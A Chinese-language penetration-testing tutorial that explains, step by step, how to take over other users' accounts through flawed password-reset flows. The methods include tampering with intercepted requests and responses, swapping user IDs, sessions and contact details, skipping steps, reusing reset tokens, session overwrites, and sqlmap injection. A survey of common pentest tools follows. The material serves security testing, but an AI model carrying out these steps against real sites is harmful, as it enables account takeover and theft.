正常流程下,对每个功能模块进行抓包,分别是发送验证码,验证验证码是否正确,获取 token,重置密码
接下来,用他人帐号通过邮箱验证,抓包,将其中 Cookie 内从 JSESSIONID 开始的内容替换至正常流程的发生验证码包内,同时替换自己接受验证码的邮箱,提交
通过邮箱获取验证码后,将验证码、Cookie、他人帐号、自己邮箱替换至验证验证码模块,提交(不用在意返回是否错误)
继续替换内至获取 token 模块,提交获取 token
最后将获取的 token 和上面的内容替换至最后的重置密码模块,提交成功修改密码

1
例如: 通过邮箱找回密码,访问链接重置密码,输入新密码后提交时抓包,虽然有 token,但是依然可以直接修改 用户ID 进而修改他人密码 例如: 通过他人手机号找回密码,抓包,将他人手机号替换成自己的手机号,获取验证码,提交后修改密码 通过自己手机号找回密码,获取验证码后抓包,将数据包中的 username 改为他人用户名,提交后成功修改他人密码

短信验证码、邮箱 token、重置密码 token

1
2
3
4
5
例如:
通过邮箱找回密码,URL 链接中修改 用户ID 为他人,邮箱不变,之后通过链接可以将他人账户绑定为自己的邮箱,之后通过邮箱找回密码
例如:
给已知账户绑定手机,发现绑定手机的 URL 链接中有 uid 参数,修改 uid 参数为他人的,即可实现将他人的账户绑定上自己的手机,之后通过手机来修改密码
修改个人资料处抓包,修改 userId 为他人,修改 mobilePhone 为自己的手机,即可实现将他人的账户绑定上自己的手机,之后通过手机来修改密码

手机绑定、邮箱绑定

1
2
3
4
5
6
7
8
例如:
通过密码保护问题找回密码,抓包,将密码保护问题删除,直接修改密码,提交
注:此处密保问题和新密码在同一页面
例如:
正常流程,通过手机号提交验证码找回密码处抓包,记录下这个包的内容
通过已知用户名找回密码,查看源代码可以发现用户其他信息(比如:手机号、邮箱)
通过发现的手机号选择通过手机找回密码,随便输入短信验证码,抓包
修改之前记录下的包的内容,将其中 Session id、用户ID 修改为刚刚从其他用户名抓包获得的内容,提交这个包,即可成功修改他人密码

最终提交步骤

1
2
例如:
通过邮箱找回密码,最后通过链接至修改密码页面,修改密码后提交,抓包,获得 Uid 参数,修改为他人,即可修改其他用户密码

服务器验证的验证逻辑为空(绕过认证)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
例如:
通过邮箱找回密码,点击请重新发送邮件处抓包,将邮箱改为自己的邮箱,通过链接成功修改密码
例如:
通过手机找回密码,输入验证码和新的密码,F12 审查元素,修改自己的手机为他人手机,提交成功修改他人手机(也可以抓包修改)
例如:
正常流程下,密码找回,查看最后设置新密码页面的 URL,记录下来
继续返回密码找回处,输入其他用户名,提交找回申请,直接访问上面记录下的修改密码页面,成功修改密码
也可以正常流程下,修改密码页面抓包,修改其中的 USERNAME_COOKIE 为其他用户(有可能会经过编码,比如 base64),提交即可修改其他用户密码
如果抓包其中有 step 参数,可以修改这个参数为最后一步(比如:5),提交便可略过之前的步骤
跳过验证步骤、找回方式、直接到设置新密码页面
例如:
通过用户名找回密码,提交后会自动发送验证码到手机中,所以抓包,修改手机为自己的手机(如果其中有 type 之类的参数,也可以尝试修改,有 email之类的参数,可以尝试删除内容)
发送修改后的包,手机成功接收验证码
输入验证码,继续发送,抓包,如果有 type 之类的参数,可以继续尝试修改,发送就可以成功修改密码
例如:
通过手机找回密码,随便输入验证码,抓包,发送,拦截返回包
修改返回包中的返回码,继续发送,说不定就可以绕过验证,直接跳到修改密码的页面

通过手机找回密码,正常流程下到重置密码页面,抓包查看返回数据中有一段加密字符串
利用他人手机找回密码,URL 跳转到验证身份页面,链接中就有一段加密字符串,记录下,随便输入验证码
抓包,修改包中数据为正常流程下的数据,替换加密字符串,Forward 发送,就可以绕过验证码,直接修改密码

输入用户名,加个单引号报错,说明可能存在报错,抓包,保存为 txt 文件,导入 Sqlmap 中跑一遍

找回密码处存在注入漏洞(见框就×)

通过邮箱找回密码,正常流程下,抓包查看提交验证码后返回的数据,发现有加密字符串,这个加密字符串和后面重新设置新密码 URL 链接中的加密字符串一样,所以可以利用这个加密字符串
根据上面提交验证码的抓包,修改其中的 User 为其他用户(User 有可能会使用 md5 加密),发送,就可以返回其他用户的加密字符串
重新返回到找回密码首页,利用其他用户找回,点下一步,到输入验证码处(也有可能需要点击发送验证码),直接修改 URL 链接,加入加密字符串,可以直接绕过验证码,重置密码

session覆盖漏洞
注册重复的用户名,例如 admin,相当于修改了密码

同一浏览器,首先输入自己的账户进行邮箱密码找回,进入邮箱查看链接,接着输入他人账户,进行密码找回,返回刚刚自己的邮箱点击链接,由于 session 覆盖导致了,这个链接成为了修改他人密码的链接,成功修改他人密码

尝试正常密码找回流程
选择不同的找回方式,记录所有数据包
邮箱找回密码
根据密码保护问题找回密码
根据手机号找回密码
分析数据包,找出敏感部分
分析后台找回机制所采用的验证手段
修改数据包进行验证是否存在密码找回漏洞

工具

Nmap (Network Mapper)

在渗透测试的侦察和指纹识别阶段,Nmap从来都是专业人员的不二之选。Nmap是强大的网络发现工具和细致的安全审计工具的完美结合,其与众不同之处在于其令人惊叹的可定制性,用户可以根据需要定制其扫描范围或精确程度。对于渗透测试人员来说,Nmap是被动侦察阶段之后第一次主动与系统“秘密”接触。当Nmap执行任务时,很难被任何入侵检测系统察觉和标记。

Metasploit

在渗透测试领域仍然受到高度尊重和重视。它是一款强大的利用和后利用阶段工具。它是针对远程目标开发、测试和执行漏洞利用代码的完整首选工具包。Metasploit的功能也不仅仅是寻找漏洞,还包括漏洞测试、执行以及了解如何在现实场景中利用。即便你最终会投奔Cobalt Strike,但Metasploit依然是上手的首选,因为它不但免费且用户友好。

Offensive OS

Offensive出品的渗透测试专用操作系统(Kali Linux/Parrot OS),在渗透测试员的工具箱中能排进前三。它们通常包含了从侦察和OSINT到数据泄露的每个渗透测试阶段所需的尽可能多的工具。

除了大名鼎鼎的Kali Linux,值得关注的是近来快速走红的Parrot OS,后者已经进入EC-Counci 等机构的CEH认证和考试模块。Parrot OS以其用户友好的界面和轻量级的环境吸引了更广泛的受众。

BurpSuite

对于Web应用安全研究者来说,Burp Suite是一款不可或缺的工具。它是一个完整的平台,包含了从扫描和爬行到攻击和利用的一系列工具。

Burp Suite是一个完整的软件包,一个注重多功能性和深度的集成平台。从扫描和蜘蛛抓取到攻击和利用,Burp可以拦截、操纵,对有效负载进行URL编码,更改交付方法,并且可以将请求直接发送到网站。

Nessus

作为漏洞扫描器领域的巨头,Nessus是最广泛下载、使用和识别的漏洞扫描工具之一。它用于扫描网络漏洞、配置问题、基准测试不足和补丁缺失等问题。一旦系统被指纹识别,渗透测试员可用Nessus确定该系统可能容易受到哪些类型的攻击,此步骤后,Metasploit等工具将陆续登场发挥威力。

John the Ripper/Hashcat

作为经典的密码破解工具,John the Ripper用于测试密码强度并破解各种类型的密码。它在测试网络环境中密码的弹性方面特别有效。大多数经验丰富的渗透测试人员会使用定制表进行字典和彩虹表攻击,但如果手头没有这些表,JohnRipper也能帮你完成工作。

如果你更偏爱Hashcat也没有问题。虽然有些认证测试题会让你选择哪个是“最佳”密码破解工具,但这实际上二者的选择仅仅取决于偏好。

Wireshark

Wireshark是一款广泛用于网络故障排除、分析、开发和教育的网络协议分析器,其功能之丰富和强大给人感觉像“开挂”。Wireshark捕获并显示网络上来回传输的数据,使用户能够检查有关网络协议、数据包内容和网络流量的详细信息。

Wireshark支持用户在微观和宏观层面查看网络活动的详细信息。它用于诊断网络问题、检查网络安全问题、调试协议实现、了解网络协议内部结构,甚至评估防火墙规则。凭借其强大的过滤和搜索功能,Wireshark使用户能够从网络流量流中分离和分析感兴趣的特定数据包。这使其成为网络管理员、安全专业人员以及任何需要了解网络数据流的人不可或缺的工具。

ZAP (Zed Attack Proxy)

ZAP是一款开源的Web应用安全扫描器, 在Web应用安全领域的江湖地位与网络安全领域的Nessus类似。ZAP作为拦截代理,位于浏览器和Web应用之间,可以检查和操作到达网站的流量,自动发现Web应用中的安全漏洞。

ZAP广受欢迎的原因是对应用安全新手和专业开发人员都很友好。此外,ZAP还提供一系列实用的工具和功能,包括自动扫描仪、一组用于手动测试的工具以及用于扩展功能的各种附加组件,使其成为Web应用程序安全测试的全面解决方案。

SQLmap

SQLmap是一款自动化检测和利用Web应用中 SQL注入漏洞的工具。它通过发送各种类型的请求到目标Web应用并分析响应来识别潜在的漏洞。一旦找到SQL注入漏洞,SQLmap可用于从数据库中提取数据、获得数据库管理权限甚至在服务器上执行远程命令。

SQLmap已经存在多年,但毫无疑问,它仍然是渗透测试领域的重量级工具。2024年,SQL注入仍然是重要威胁,而SQLmap是能够正面应对SQL注入挑战的为数不多的自动化工具。

Aircrack-ng

Aircrack-ng是无线渗透测试领域的重量级选手, 提供了一整套工具和功能,专注于Wi-Fi安全的各个领域,如监控、发起隐秘攻击、严格测试防御以及像大师级锁匠一样破解棘手的WPA密钥。其主要用途是识别和利用Wi-Fi网络的漏洞,特别是针对WEP和WPA/WPA2-PSK安全协议。

Aircrack-ng还提供用于将无线网卡置于监控模式的Airmon-ng、用于数据包捕获的Airodump-ng以及用于生成流量并诱发有利于网络分析和攻击的条件的Aireplay-ng。该工具被网络管理员广泛用于安全评估,并被网络安全专业人员和道德黑客广泛用于测试无线网络针对未经授权访问和其他安全威胁的强度和弹性。